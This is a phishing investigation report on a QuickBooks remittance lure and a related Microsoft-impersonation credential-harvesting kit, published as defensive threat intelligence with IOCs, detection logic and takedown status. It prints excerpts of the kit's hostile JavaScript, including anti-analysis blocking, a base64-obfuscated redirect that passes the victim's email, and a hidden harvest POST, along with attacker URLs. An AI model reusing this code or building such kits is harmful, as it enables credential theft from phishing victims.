> ## Content Index > Fetch the complete content index at: https://f4n6.co.uk/llms.txt > Use this file to discover other available public pages before exploring further. # Phishing Investigation Report - QuickBooks Remittance Lure canvero[.]vu & Related Infrastructure - URL: https://f4n6.co.uk/phishing-investigation-report-quickbooks-remittance-lure-canvero-vu-related-infrastructure/ - Published: 2026-09-01T15:34:24.000Z - Updated: 2026-09-01T15:35:14.000Z - Author: Jeff Davies - Tags: Phishing Tracker, AI Security, LLM, Quickbooks ## 1\. Executive Summary On 2026-08-27 at 14:30 UTC, a UK recipient received a phishing email spoofing an **Intuit QuickBooks** payment notification. The email claimed a payment had been deposited and invited the recipient to "VIEW REMITTANCE" for an attached `PAYMENT_REMITTANCE.pdf`. The link did not point directly at attacker infrastructure. Instead it was laundered through a **Cisco Umbrella `secure-web.cisco.com` rewrite link** (abused as an open redirect), terminating at a freshly-registered, privacy-shielded domain: **`canvero[.]vu/quikintinwebap/`** (registered 2026-07-10, Dynadot, updated 2026-08-28 — the day before delivery). Passive OSINT pivoting on the lure's markers ("Payment Notification" title, remittance wording) surfaced **49 candidate sites, 21 with high phishing confidence**, including a multi-domain **Microsoft-impersonation credential-phishing kit family** operating from bulletproof hosting in Hong Kong (AS **MILLENIALHOSTLIMITED-AS-GB**, `104.223.26[.]132`). Source-level analysis of the recovered kit revealed a **two-stage email-harvest architecture** with base64-obfuscated redirect targets and a hidden POST-based logging endpoint. Attribution between the seed email and this kit family is **LOW**: same lure theme (payment → identity verification), different infrastructure generation (Jan–Jun 2026 activity vs the Aug 2026 email), and no shared hosting, registrar, or fingerprint overlap with `canvero[.]vu`. **Bottom line:** the seed email is a confirmed phishing attempt whose destination domain was already suspended (registry status `clientHold`/`inactive`, non-resolving) by the time of analysis. The wider investigation mapped a related kit family that remains a live detection target. --- ## 2\. Seed Email Analysis ### 2.1 Delivery chain ``` [compromised Google Workspace mailbox — third-party UK non-profit, notified] └─ Gmail SMTP (mail-wm1-f104.google.com, 209.85.128.104) — SPF pass, DKIM pass └─ recipient's mailbox provider (Exim, LMTP) └─ POP3-fetched into recipient's aggregation mailbox ``` | Header field | Value | Note | | ------------ | ------------------------------------------------------------------------ | ------------------------------------------------- | | From | Hr | Display name "Hr" — generic authority implied | | To | \[recipient\] | Single recipient | | Subject | Document Portal Notification – New File Received - \[recipient address\] | Document-portal framing, echoes recipient address | | Date | Thu, 27 Aug 2026 14:30:14 +0000 | | | Message-ID | | | | Content-Type | text/html; charset=utf-8 | No actual attachment — PDF is faked in HTML | **Authentication results:** `spf=pass`, `dkim=pass` (via the sender's `*.gappssmtp.com` Google Workspace selector). The sending domain hosts a legitimate, unrelated small-organisation website, indicating a **compromised or fraudulently-created Google Workspace mailbox** used to relay the lure. This is why the message passed DMARC-aligned checks and reached the inbox. The organisation is being notified and is not named here. Originating IP `194.59.31[.]222` appears in the received chain for the sender domain and is treated as attacker-controlled relay infrastructure. ### 2.2 Subject/body mismatch (dual-lure) The subject advertises a **document portal** notification; the body claims an **Intuit QuickBooks payment** ("A payment is on the way", "funds should be available in your account"). The implied attachment is rendered in HTML only: ``` [PDF] PAYMENT_REMITTANCE.pdf — PDF Document • 763 KB ``` No attachment exists. The fake file card is the click stimulus for the CTA button. ![](https://storage.ghost.io/c/3c/c9/3cc9221c-3833-4967-a2f1-a72d36cbcaff/content/images/2026/09/image.png) QuickBooks phishing lure ### 2.3 Call-to-action redirect laundering ```html VIEW REMITTANCE ``` The final destination (`hxxps://canvero[.]vu/quikintinwebap/`) is URL-encoded as the path suffix of a **Cisco Umbrella secure-web rewrite link**. Because the visible link text and first-hop domain are both trusted brands (Cisco), both mail-time URL reputation and user hover-inspection are defeated. The rewrite token (`1g7IE-RFB-…1SiWU`, \~560 characters) has been truncated: secure-web rewrite tokens are generated per protected tenant and may identify the third-party Cisco customer whose link-rewriting was abused. ### 2.4 Destination domain canvero\[.\]vu | Property | Value | | -------------------------- | ------------------------------------------------------------------------ | | Created | 2026-07-10 (≈7 weeks before delivery) | | Registrar | Dynadot Inc (privacy-shielded — Super Privacy Service LTD) | | Updated | **2026-08-28** (1 day before delivery — likely infrastructure refresh) | | Registry status | clientHold, inactive, clientTransferProhibited, serverTransferProhibited | | DNS at analysis | **Non-resolving** (A/SOA lookups empty) | | urlscan / urlquery history | Zero scans — burner domain, never publicly scanned | | CT logs / Wayback | No history | Interpretation: single-purpose, short-lived phishing domain. The `clientHold`/`inactive` status (applied between delivery and analysis) indicates the registrar or registry suspended it — consistent with fast takedown of `*.vu` abuse. ### 2.5 Seed email verdict **PHISHING — HIGH confidence.** Evidence: brand impersonation (Intuit QuickBooks), mismatched subject/body lures, fake attachment rendering, redirect laundering through a legitimate security vendor's link service, destination on a 7-week-old privacy-shielded domain, and a compromised/spoofed sending mailbox passing SPF/DKIM. --- ## 3\. Investigation Methodology All discovery was passive OSINT — no form submission, no authentication, no WAF bypass. The pipeline (13 stages) performed: by "phishing-tracker mcp" 1. **Ingestion** of the `.eml` (6,614 chars of text content) 2. **LLM marker extraction** (local model) → 10 initial markers 3. **Query generation** across urlscan.io, urlquery.net, SearXNG, crt.sh, Wayback 4. **Passive pivots** on extracted domains/IPs/phrases (16 queries, 126 raw results) 5. **Scoring** → 49 candidates 6. **Screenshot capture** (44 screenshots) 7. **Vision-model analysis** of each screenshot (44 analyses) 8. **Clustering** (shared IP / ASN / server fingerprints — 9 clusters) 9. **Analyst-gated mirror review** → 10 shortlisted sites 10. **Source mirroring** (10 sites, GET-only) + deterministic IOC extraction 11. **Analyst IP pivots** on recovered infrastructure (`104.223.26[.]132`) Confidence model: **confirmed** (direct tool evidence of campaign link) > **high** (corroborated maliciousness) > **candidate**. Attribution is tracked separately from maliciousness — a malicious page defaults to `unattributed` absent a qualifying link. --- ## 4\. Campaign Findings ### 4.1 Candidate landscape | Confirmed | High | Probable | Candidate | Total | | --------- | ---- | -------- | --------- | ----- | | 0 | 21 | 0 | 28 | 49 | The 21 high-confidence sites split into three buckets: **A. Legitimate-platform abuse (document-sharing as lure hosting)** Scribd, Evernote, Filestage, Survicate, Eversign, Typeset, Publicate, WPS docs, Fileverse, MediaFire, Frame.io. Phishing content ("Payment Notification" lures) uploaded to otherwise benign services. No kit source recoverable; platform abuse-reporting is the remediation path. **B. Dedicated phishing infrastructure** the EdgeOne (Tencent) credential-phishing trio, `mail-donotreply[.]com` click trackers, `payment.systemsage[.]tech`, `saletopeshops[.]com`, `challenge.goodstepindia[.]com` (see §5). **C. Advance-fee / impersonation scams** `imf-app.noor-securities[.]com` (IMF "beneficiary" scam for USD 10.5M, purporting to be signed by the IMF Managing Director), `paymentnotificationnow.blogspot[.]com` (malware delivery). ### 4.2 Infrastructure clusters (from pipeline) - **shared\_ip** `43.174.246[.]29` \- 3 members (the EdgeOne phishing trio) - **shared\_ip** `151.101.66[.]152` \- 2 members (Scribd mirrors, Fastly) - **shared\_ip** `2a04:4e42:4e::820` \- 2 members - **shared\_asn** `CLOUDFLARENET, US` \- 4 members - **shared\_asn** `FASTLY, US` \- 4 members - **shared\_asn** `ACE-AS-AP - ACE, SG` \- 3 members - **shared\_asn** `AMAZON-02, US` \- 3 members - **shared\_server** `cloudflare` \- 4 members - **shared\_server** `edgeone-pages` \- 3 members ### 4.3 Mirror outcomes (10 attempted) | ID | URL | Outcome | | ---- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------- | | M001 | hxxps://de.scribd\[.\]com/document/733422217/Fnb-Payment-Notification | Mirrored — benign platform hosting FNB-branded lure | | M002 | hxxps://paymentnotificationnow.blogspot\[.\]com | 404 — burned | | M003 | hxxps://www.evernote\[.\]com/shard/s354/… | Mirrored — platform note view (legit Evernote assets only) | | M004 | hxxps://app.filestage\[.\]io/step/21cc…/review/… | Mirrored — platform review page | | M005 | hxxps://app.typeset\[.\]com/play/GJYY41 | Not mirrored (benign platform) | | M006 | hxxps://challenge.goodstepindia\[.\]com/msoft/validation/verification/ready/ | **Mirrored from urlscan archive — credential-phishing kit (see §5)** | | M007 | hxxps://igbio\[.\]co/00 | 404 — burned | | M008 | hxxps://imf-app.noor-securities\[.\]com/en/ | Mirrored from archive — IMF advance-fee scam page | | M009 | hxxps://link.publicate\[.\]it/pub/a32089ccdd43f0 | Mirrored — platform landing page | | M010 | hxxps://payment-notification-dp29pv567qtw.edgeone\[.\]dev | 404 — burned (EdgeOne takedown) | --- ## 5\. Kit Source Analysis "Payment Notification Portal" credential harvester Recovered via urlscan archive (live host DNS-dead). Mirror: `challenge_goodstepindia_com/msoft/validation/verification/ready/index.html` (5,445 bytes, SHA-256 `3ec442cb4b876c11eb9127d26bf3f83af2ec65996e17db722aa366e43a9cdff8`). A content-hash pivot on this SHA-256 matched **only** the same goodstepindia scan — the kit page is unique to this deployment, not a mass-distributed template. ### 5.1 Lure page key behaviours (excerpted) Page title `Payment Notification Portal`; headline `YOUR PAYMENT IS READY`; sub-text `Please verify your identity to get your payment remittance.` A fake document card shows `ACH_Payment_Status_Notification.PDF` using a stock icon hot-linked from dreamstime. The form asks for an email address only, plus a hidden honeypot field (`#company`, `display:none`). Footer: `Shared access only. No redistribution permitted.` Anti-analysis context menu blocked, view-source/save/print shortcuts and F12 suppressed: ```js document.addEventListener('contextmenu', e => e.preventDefault()); document.addEventListener('keydown', e => { if (e.ctrlKey && ['u','s','p'].includes(e.key.toLowerCase()) || e.keyCode === 123) e.preventDefault(); }); ``` Redirect machinery is armed only on the first click anywhere on the page (defeats headless scanners that never click). On submit, the honeypot is checked, a fake spinner runs for 1.5 s, then the victim is handed to stage 2 with their email in the URL fragment: ```js if (!email || honeypot.value !== '') return; // bot filter const redirectBase = atob('aHR0cHM6Ly9jaGFsbGVuZ2UubGttZW50ZXJwcmlzZS5jb20vdmVyaWZpY2F0aW9uL3ZhbGlkYXRpb24vYWRtaW4vYWNjZXNzLw=='); setTimeout(() => { window.location.href = `${redirectBase}#${email}`; }, 1500); ``` In parallel, the harvested address is POSTed to a hidden logging endpoint whose name is itself base64-obfuscated: ```js const log = new FormData(); log.append('email', email); log.append('document', 'ref_2024_secure.pdf'); log.append('ts', new Date().toISOString()); fetch('./api/' + btoa('logHandler'), { method: 'POST', body: log, headers: { 'X-Requested-With': 'XMLHttpRequest' } }).catch(() => {}); ``` A source comment reads `// YOUR PREFERRED REDIRECT STAYS HERE` — a template placeholder left in by the kit author, suggesting a sold/shared kit customised per operator. ### 5.2 Decoded second-stage redirect ``` → hxxps://challenge.lkmenterprise[.]com/verification/validation/admin/access/ ``` The victim's email address is appended as a URL fragment (`#victim@corp.com`) so the stage-2 page can pre-fill the Microsoft-style verification form without the address ever hitting a server log only the client-side harvest POST (`./api/logHandler`) records it. ### 5.3 Kit TTP summary | Technique | Implementation | | ----------------------- | ---------------------------------------------------------------------------------------------------------- | | Fake document preview | ACH\_Payment\_Status\_Notification.PDF card with stock image (dreamstime) | | Email harvest | POST ./api/logHandler (handler name b64-obfuscated), FormData {email, document: ref\_2024\_secure.pdf, ts} | | Second-stage hand-off | Base64-obfuscated redirect, victim email in fragment, 1.5 s fake spinner | | Anti-analysis | Right-click/context menu blocked; Ctrl+U/S/P and F12 (keyCode 123) suppressed; click-to-arm | | Bot filtering | Hidden #company honeypot field — non-empty value aborts submission | | Microsoft impersonation | Path structure /msoft/validation/verification/ready/ ("msoft") | ### 5.4 Pivot results on the kit's infrastructure **Shared bulletproof host — 104.223.26\[.\]132** (Apache, AS MILLENIALHOSTLIMITED-AS-GB, MillenialHost Limited, HK). Urlscan history (Jan–Jun 2026): | Domain | Sample page title | Activity | | ---------------------------------- | --------------------------------------------------------------------------- | --------------------------------------- | | micr0soft-validate.865pro\[.\]com | "Verification Portal" / "Checking your browser" / "Invoice - View Document" | Mar 18 → Jun 16 2026 (most recent scan) | | challenge.goodstepindia\[.\]com | "Payment Notification Portal" (our kit) | Apr 21 2026 | | challenge.hobisin\[.\]com | "Security Check" | Apr 10 2026 | | challenge.tecnicosservicio\[.\]com | "Document Hub Portal" | Jan 13 2026 | Supporting infrastructure: - `goodstepindia[.]com` (apex) hosted `filesecurepayment.html` ("Invoice - View Document") at `103.21.58[.]228` (PDR) on Apr 17 2026; apex now resolves to `185.77.97[.]43` / `91.108.103[.]80` (91.108.x is a known bulletproof range). - `865pro[.]com` apex: `65.60.7[.]15` (SingleHop, "Index of /" directory listing, since Feb 2025) → now `194.39.123[.]134`, returning 404 (LiteSpeed). Registrar GoDaddy, created 2021-11-05, updated 2026-05-27. - `challenge.lkmenterprise[.]com`: apex parked at AWS (`15.197.225[.]128` / `3.33.251[.]168`), no CT/Wayback history for the challenge subdomain — subdomain was stood up directly on the bulletproof host. **Delivery vector fingerprint:** victim URLs on the 865pro host repeatedly carry HubSpot email-click tracking parameters (`utm_source=hs_email&_hsenc=p2ANqtz-...&_hsmi=2`) lures were blasted through a compromised or abused **HubSpot** email tenant, the same "legitimate infrastructure laundering" pattern as the seed email's Cisco Umbrella redirect. **URL-obfuscation signature:** deliberate typos in path segments to evade signature matching `mic0os0ft` (zero-o), `rexady` (for "ready"), `accss`, `acess`, `cerification`, `verificaton`. **Current status:** `104.223.26[.]132` is unreachable (connection timeouts) dropped or firewalled after takedown attention, but operator domains remain registered and repointed, so re-hosting elsewhere is likely. ### 5.5 Attribution assessment (seed email ↔ kit family) **LOW confidence linkage.** Same lure theme and harvest-then-redirect architecture, but: - No shared IP, ASN, registrar, or name-server between `canvero[.]vu` and the 865pro/goodstepindia cluster - Different TLD ecosystem (.vu/Dynadot vs .com/GoDaddy) - Activity windows don't overlap (kit family: Jan–Jun 2026; seed email: Aug 2026) - `canvero[.]vu` had zero scan history — its full page content was never captured, so no kit fingerprint comparison is possible The relationship is thematic (both are "payment remittance → verify identity" credential lures), not evidential. --- ## 6\. MITRE ATT&CK Mapping | Technique ID | Name | Tactic | Confidence | Evidence | | ------------ | ------------------------------------------- | -------------------------- | ---------- | -------------------------------------------------------------------------------------------------------- | | T1566.002 | Spearphishing Link | Initial Access | HIGH | Seed email CTA → Cisco Umbrella redirect → canvero\[.\]vu | | T1583.001 | Acquire Infrastructure: Domains | Resource Development | HIGH | canvero\[.\]vu (7-week-old, privacy-shielded); 865pro/goodstepindia/hobisin/tecnicosservicio rotation | | T1584.006 | Compromise Infrastructure: Web Services | Resource Development | HIGH | Compromised Google Workspace mailbox for relay; HubSpot tenant for kit delivery; Umbrella redirect abuse | | T1584.005 | Compromise Infrastructure: Botnet (hosting) | Resource Development | MEDIUM | Bulletproof hosting (MillenialHost HK) for kit family | | T1656 | Impersonation | Initial Access / Execution | HIGH | Intuit QuickBooks branding in seed; "msoft" / "micr0soft" Microsoft impersonation in kit | | T1204.001 | User Execution: Malicious Link | Execution | HIGH | "VIEW REMITTANCE" button; kit "Continue" button | | T1056.003 | Input Capture: Web Portal Capture | Credential Access | HIGH | Kit email-harvest form + hidden ./api/logHandler POST endpoint | | T1071.001 | Application Layer Protocol: Web | Command and Control | MEDIUM | Stage-2 redirect to /verification/validation/admin/access/ | --- ## 7\. Indicators of Compromise All indicators defanged. Replace `hxxps` → `https` and `[.]` → `.` before loading into tooling. ### 7.1 Seed email (CONFIRMED malicious) | Type | Indicator | Confidence | Context | | ------------- | ------------------------------------------------------------------- | ---------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | domain | canvero\[.\]vu | HIGH | Final redirect destination, /quikintinwebap/ path; reg 2026-07-10 Dynadot, clientHold/inactive at analysis | | url | hxxps://canvero\[.\]vu/quikintinwebap/ | HIGH | Phishing destination behind Umbrella rewrite | | ip | 194.59.31\[.\]222 | MEDIUM | Originating relay IP for the compromised sender domain in received chain | | display\_name | Hr | LOW | Spoofed sender display name; sender mailbox fileservices@ on a compromised Workspace tenant (domain withheld pending operator notification) | | url\_pattern | hxxps://secure-web.cisco\[.\]com/\*/https%3A%2F%2Fcanvero%2Evu%2F\* | HIGH | Umbrella rewrite-link laundering pattern | | filename | PAYMENT\_REMITTANCE.pdf | HIGH | Fake attachment card in lure body (no actual attachment) | | subject | Document Portal Notification – New File Received - | MEDIUM | Subject template, recipient address echoed | | sha256 | 3ec442cb4b876c11eb9127d26bf3f83af2ec65996e17db722aa366e43a9cdff8 | HIGH | Kit page content hash (goodstepindia mirror) for pivoting, not seed artefact | ### 7.2 Kit family infrastructure (pivot-discovered) | Type | Indicator | Context | | ------------------ | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | | ip | 104.223.26\[.\]132 | Bulletproof host serving entire kit family (MillenialHost HK) | | cidr | 104.223.26\[.\]0/24 | MillenialHost range — detection/watch scope | | domain | micr0soft-validate.865pro\[.\]com | Primary phish host, zero-o misspelling, Mar–Jun 2026 | | domain | 865pro\[.\]com | Apex registrar GoDaddy; historical IPs 65.60.7\[.\]15 (SingleHop), 194.39.123\[.\]134 | | domain | challenge.goodstepindia\[.\]com | "Payment Notification Portal" kit host | | domain | goodstepindia\[.\]com | Apex hosted filesecurepayment.html lure; now on 185.77.97\[.\]43 / 91.108.103\[.\]80 | | domain | challenge.hobisin\[.\]com | "Security Check" page, same host | | domain | challenge.tecnicosservicio\[.\]com | "Document Hub Portal", same host | | domain | challenge.lkmenterprise\[.\]com | Stage-2 redirect target (/verification/validation/admin/access/) | | url\_pattern | secure-web.cisco\[.\]com → attacker domain | Umbrella redirect laundering (seed email) | | url\_pattern | utm\_source=hs\_email&\_hsenc=p2ANqtz-\* | HubSpot click-tracking on victim links (kit delivery) | | path\_pattern | /msoft/validation/verification/\* | Kit path structure | | path\_pattern | /mic0os0ft/notification/rexady/access/\* and typo-variants (accss, acess, cerification, verificaton) | Evasion-typosized paths | | api\_endpoint | ./api/logHandler (b64-obfuscated btoa('logHandler')) | Hidden email-harvest POST target | | kit\_wording | YOUR PAYMENT IS READY / Please verify your identity to get your payment remittance | Kit lure text | | kit\_wording | ACH\_Payment\_Status\_Notification.PDF | Fake document preview name | | subdomain\_pattern | micr0soft-validate.\* | Zero-o Microsoft impersonation pattern | ### 7.3 High-confidence related sites (21) Notable: `paymentnotificationnow.blogspot[.]com` (malware delivery, burned), `imf-app.noor-securities[.]com` (IMF advance-fee scam, `91.204.209[.]13`), `payment-notification-*.edgeone[.]dev` trio (Tencent EdgeOne credential phishing, `43.174.246[.]29`, burned), `mail-donotreply[.]com` click trackers, `payment.systemsage[.]tech` (`92.113.16[.]124`), `saletopeshops[.]com/fastopay` (`188.114.97[.]3`), plus 10 legitimate-platform abuse pages (Scribd, Evernote, Filestage, etc.). Full 49-candidate set available on request. --- ## 8\. Detection Opportunities ### 8.1 Mail-time (seed pattern) ```yaml # Sigma-style logic: trusted-vendor redirect to young domain detection: selection_uri: - "https://secure-web.cisco.com/*" filter_legit: # destination after the Umbrella rewrite must be inspected condition: decoded_destination.domain_age < 90d AND decoded_destination NOT IN trusted_brands ``` Practical checks: decode `secure-web.cisco.com//` in mail gateways; flag targets on privacy-shielded registrations younger than 90 days; flag `From` display names like "Hr" with financial-portal subjects; flag emails whose subject lure (document portal) mismatches body lure (payment). ### 8.2 Web proxy / DNS (kit family) - Block/alert **104.223.26\[.\]0/24** (MillenialHost HK) low legitimate-use likelihood - URL patterns: `/msoft/validation/verification/`, `micr0soft-validate.*`, typo-paths containing `mic0os0ft|rexady|accss|acess|cerification|verificaton` - Lure strings: `YOUR PAYMENT IS READY`, `ACH_Payment_Status_Notification` - POST bodies containing `document=ref_2024_secure.pdf` (kit exfil fingerprint) ### 8.3 Hunting (retro) - Proxy logs: any historical hits on `canvero[.]vu`, `104.223.26[.]132`, `micr0soft-validate.865pro[.]com`, `challenge.*` subdomains above - Mail logs: any click on `secure-web.cisco[.]com` links resolving to non-Cisco destinations; any inbound mail from `fileservices@` on an unfamiliar small-organisation Workspace domain with a "Document Portal Notification" subject - HubSpot abuse: outbound `_hsenc=p2ANqtz-*` click traffic from org users to the kit hosts --- ## 9\. Remediation & Takedown Status | Item | Action | Status | | --------------------------------------- | ------------------- | --------------------------------------------- | | canvero\[.\]vu | Registry suspension | DONE (clientHold/inactive, non-resolving) | | EdgeOne phishing trio | Platform takedown | DONE (404) | | paymentnotificationnow.blogspot\[.\]com | Blogspot removal | DONE (404) | | igbio\[.\]co | Host removal | DONE (404) | | 104.223.26\[.\]132 | Host offline | DONE (unreachable) — monitor for resurrection | --- ## 10\. Evidence Register Key urlscan references (public): - Kit page: `hxxps://urlscan[.]io/result/019db060-d406-74ed-9c12-3ce7885a69bb/` (goodstepindia) - 865pro verification portal: `hxxps://urlscan[.]io/result/019d4d39-6d7c-7338-a5f6-e134467deafd/` (HubSpot-tracked click, Apr 2 2026); Mar 18 2026 series also available on urlscan under `micr0soft-validate.865pro[.]com` - IMF scam: `hxxps://urlscan[.]io/result/019f1280-e1d3-75dc-bdcd-88dc6cc31bf2/` --- ## 11\. Analyst Judgement 1. **The seed email is a competent, commodity-grade phishing attempt** whose key strengths were authentication laundering (compromised Workspace) and redirect laundering (Umbrella). Its destination was burned before analysis the actors behind `canvero[.]vu` run short-lived disposable domains. 2. **The kit family discovered by pivoting is the more durable threat**: an operator cycling `challenge.*` subdomains on bulletproof HK hosting, impersonating Microsoft through typosized paths, harvesting emails via hidden endpoints, and delivering through abused HubSpot tenants, Jan–Jun 2026\. Host is down; domains are live; expect re-hosting. 3. **Attribution between the two is thematic only.** Do not conflate `canvero[.]vu` with the 865pro/goodstepindia cluster in threat-intel publications without further evidence. 4. **Priority follow-ups:** (a) send the drafted registrar/abuse notifications, (b) notify the compromised sender organisation, (c) monitor the 18 campaign markers on future urlscan ingestion, (d) hunt proxy/mail logs retroactively for the kit-family indicators (§8.3). --- *Report generated from deterministic pipeline state + analyst review. Every claim is backed by a scored candidate, marker, query result, or mirrored source artefact. Passive OSINT only — no forms submitted, no credentials entered, no authentication bypassed. Victim and compromised-third-party identifiers redacted for publication.*